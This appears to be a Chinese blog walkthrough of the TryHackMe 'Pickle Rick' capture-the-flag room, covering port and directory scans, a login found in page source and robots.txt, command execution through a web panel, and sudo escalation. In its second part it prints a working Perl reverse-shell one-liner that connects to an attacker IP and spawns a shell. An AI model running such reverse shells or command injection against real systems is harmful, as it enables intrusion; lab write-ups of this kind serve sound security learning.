【THM】Pickle Rick练习

【THM】Pickle Rick练习

与本文相关的TryHackMe实验房间链接:TryHackMe | Room details

简介:瑞克和莫蒂 CTF。 帮助瑞克变回人类!

img

这个以瑞克和莫蒂为主题的挑战要求你利用网络服务器,找到三种材料来帮助瑞克制作他的药水,并把自己从腌黄瓜变回人类。

image-20240716155303371

在此任务上部署虚拟机并浏览 Web 应用程序:10.10.203.203

第一题:瑞克需要的第一种材料是什么?

第一步

端口扫描

首先使用nmap对端口进行扫描

nmap -Pn -sV -T4 10.10.203.203

-Pn 将所有主机视为在在线,跳过主机发现的过程

-sV 显示端口对应的服务的服务版本

-T4 设置时间模板,表示扫描速度,数字越大速度越快,数字越小报警几率越低

image-20240716155714930

可以发现目标开放了2个端口:22/tcp ssh服务、80/tcp http服务

第二步

访问网站

我们先进入网站看看界面

image-20240716155906399

第三步

信息收集

我们先看看网页的源码里面会不会藏了什么东西:

image-20240716160147774

可以看到瑞克把username留在了注释里面。

再优先查看robots.txt来看看这个网站会不会有什么见不得人的文件,发现了这个貌似没什么用的页面:

image-20240716160326173

我们直接使用dirsearch工具扫描看看有没有其他的敏感文件/目录:

dirsearch -u 10.10.203.203 -i 200 -t 30

image-20240716161021105

有点尴尬,TryHackMe给的攻击机上没有安装dirsearch,下了dirsearch也没对应的python脚本。为了不浪费时间,那么我们就用它有的gobuster工具来进行探测吧。

试了下攻击机的字典都不太行的样子,于是我们在网上找好一些的字典下载进攻击机:

https://github.com/TheKingOfDuck/fuzzDicts/tree/master/directoryDicts

gobuster dir -u http://10.10.203.203 -w Filenames_or_Directories_All.txt

image-20240716163912249

出来了很多目录,排除403进制访问的,剩下的我们一个个进去查看:

image-20240716164317549

/assets目录下出现了目录遍历漏洞,我们可以查看该目录下的所有文件,一番查找后我们什么也没发现……

robots.txt我们已经看过了,下载进入下一个:

image-20240716165145235

这是瑞克的传送门的登录界面,我们之前得到了瑞克的账号,但是没有他的密码,接着看下一个:

当我们输入http://10.10.203.203/portal.php时页面跳转回了http://10.10.203.203/login.php,看来是必须要让我们登录才允许进入portal.php了。

第四步

猜测密码

回顾我们之前的内容,只有username被明确的指了出来:R1ckRul3s

唯一找到的字符串仅有robots.txt中的:Wubbalubbadubdub

尝试将“Wubbalubbadubdub”作为密码登录

image-20240716165837395

终于!我们进入了portal.php,主页面有一个命令面板(Command Panel)

第五步

测试输入框

既然是命令面板,那我们输入一些linux的命令看看:

image-20240716170110990

ls 用于显示指定目录下的内容

我们发现了其他字典中没有的敏感文件名,立刻打开,发现了恢复瑞克的第一个材料——使命必达先生的头发!

image-20240716170211182

image-20240716170304436

第二题:瑞克需要的第二种材料是什么?

第一步

利用上一题给出的线索

上一题还有一个新的文件clue.txt,让我们访问看看:

image-20240716170527279

提示我们在文件系统中查找其他材料。

于是我们尝试在命令面板目录遍历,但是发现我们被限制了:

image-20240716170943075

cd ../ 返回上层目录

| 管道符,表示命令1的正确输出作为命令2的操作对象
(这里搞错了,应该使用字符“;”,使命令1后接着执行命令2)

我们尝试访问portal.php页面中的其他链接,也被禁止访问了,现在好像陷入了僵局。

image-20240716171304962

第二步

利用命令执行漏洞反弹shell

看了大佬的WP(【THM】Pickle Rick-练习 - Hekeatsll - 博客园 (cnblogs.com)),明白了现在我们要做的是利用命令执行漏洞反弹shell。

利用命令执行漏洞反弹shell介绍

shell相当于一个主机的权限。现在我们有了靶机一定的命令执行权限,我们攻击机打开一个监听端口,利用命令指定靶机将它的shell给我们攻击机,这样我们就有靶机的shell了~

image-20240716173444587

我们先在攻击机终端建立监听器好接受shell:

image-20240716173734253

根据security-cheatsheet/reverse-shell-cheatsheet: Reverse Shell Cheat Sheet (github.com)

里面写的一些笔记,我们可以使用以下命令进行shell反弹了:

perl -e 'use Socket;$i="10.10.128.164";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

(反弹shell命令还在研究中,待补充……)

执行了命令之后,我们监听的端口确实接收到了shell:

image-20240716173922352

一番操作下我们得到了第二个材料:一滴杰瑞的眼泪!

image-20240716175004966

image-20240716175051837

第三题:瑞克需要的第三种材料是什么?

第一步

继续深入靶机

既然我们有了靶机的shell,那么自然而然地就应该去root用户目录下看看吧:

image-20240716175659872

没这权限,那我们再看看我们有什么权限:

image-20240716175742046

发现我们可以不使用密码使用任何命令!!!

第二步

♿爆!!!♿

一顿不用密码的sudo进行操作,我们得到了第三个材料:生物fleeb的汁液

image-20240716180001920

image-20240716180133418

补充

关于第二个flag和第三个flag的其他解法(参考【THM】Pickle Rick-练习 - Hekeatsll - 博客园 (cnblogs.com)

在拥有命令面板时,我们也可以查看我们拥有什么权限:

image-20240716180443296

发现自己有不使用密码使用任何命令的power时,我们就可以尽情的爆了:

image-20240716180619211image-20240716180644944

image-20240716180718483

image-20240716180944453

(在网站中cat和more一般的读取命令被禁止使用了,但less还可以)

image-20240716181042463

image-20240716181111731

posted @ 2024-07-16 19:01  Super_Snow_Sword  阅读(34)  评论(0编辑  收藏  举报